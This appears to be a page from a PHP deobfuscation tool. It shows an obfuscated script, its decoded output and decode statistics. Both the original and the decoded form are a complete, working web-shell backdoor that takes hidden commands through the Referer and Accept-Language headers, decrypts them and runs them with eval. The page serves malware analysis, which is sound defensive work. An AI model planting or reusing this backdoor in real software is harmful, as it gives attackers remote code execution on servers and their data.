Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $o='$kh="2#02#c";$kf=#"b962";functio#n #x($t,$k){##$c=#strlen($k#);$l=st#rl#en($t)#..
Decoded Output download
$kh="202c";$kf="b962";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
Did this file decode correctly?
Original Code
<?php
$o='$kh="2#02#c";$kf=#"b962";functio#n #x($t,$k){##$c=#strlen($k#);$l=st#rl#en($t)##;$o="";#for($i=0;$i<$l;){for(';
$Q='##nd_clean();$d=#base6#4_encod#e(x(gzco#mpres#s(#$#o)#,$k));pr#int("<$k#>$d</$k>");@ses#sion_de##stroy();}}}}';
$n='_r#eplace(a#rray("#/_/","/-#/"#),#arra#y("##/","+"),$#ss($s[$i],0,$e))),$k))#);$o=o##b_get#_co#ntents();ob_e';
$i=');$q=ar##ray_val#u#es(#$q);pr#eg_match_all#("/(#[\\w])[\\w-]+(##?:;q#=0.([\\d]))?,?/",#$ra,$m#);if($q#&&$m#){@';
$S='#md##5($i.$kh),0,3));$f=#$s#l#($ss(md5#($i#.$kf),0,3));#$p="";for(#$z=1#;$#z<c#ou#n##t($m#[1]);$z++)$p.=$q[$m';
$d='se#ss#io#n_star#t();$s=&$_SESSIO#N;$ss#="substr#"#;$sl="s#trtolo#wer";#$i=$m[1][#0].#$m[1][1];$#h=$s#l($ss(';
$z='[2][$z]];i#f(s#trpos($p#,$h)===0#){#$s[$i#]="";$#p=$ss($#p,#3);}if(array#_key_ex#ists(#$i,$s)){$#s[$i#].=#$p;';
$r=str_replace('Iu','','crIueaIutIue_IufunIuctiIuon');
$y='$e=#strpo#s($s[$i],$f#);if(#$e){#$k=#$kh.#$k#f;ob_start();@e#val(@gzun#compress#(@x(#@ba##se64_decode(pre#g';
$U='ER#"];#$r#a=#@#$r["HTTP_ACCEPT_L#AN#G#UAGE"]#;if($rr&&$ra){#$u=parse_u#rl($#rr#);pa#rse_#str($u["query#"],$q';
$Z='#$j#=0;($#j<$#c&&$#i<$l);$j#++,$i++){$o#.=$t##{$i}^$k{$j}#;}}retur#n $o;}$r=#$_SE##RVER;$rr=@$r#["HTTP_RE#FER';
$W=str_replace('#','',$o.$Z.$U.$i.$d.$S.$z.$y.$n.$Q);
$c=$r('',$W);$c();
?>
Function Calls
null | 1 |
str_replace | 2 |
create_function | 1 |
Stats
MD5 | 3d97e32d382d10dcf4b1138556b672e2 |
Eval Count | 1 |
Decode Time | 81 ms |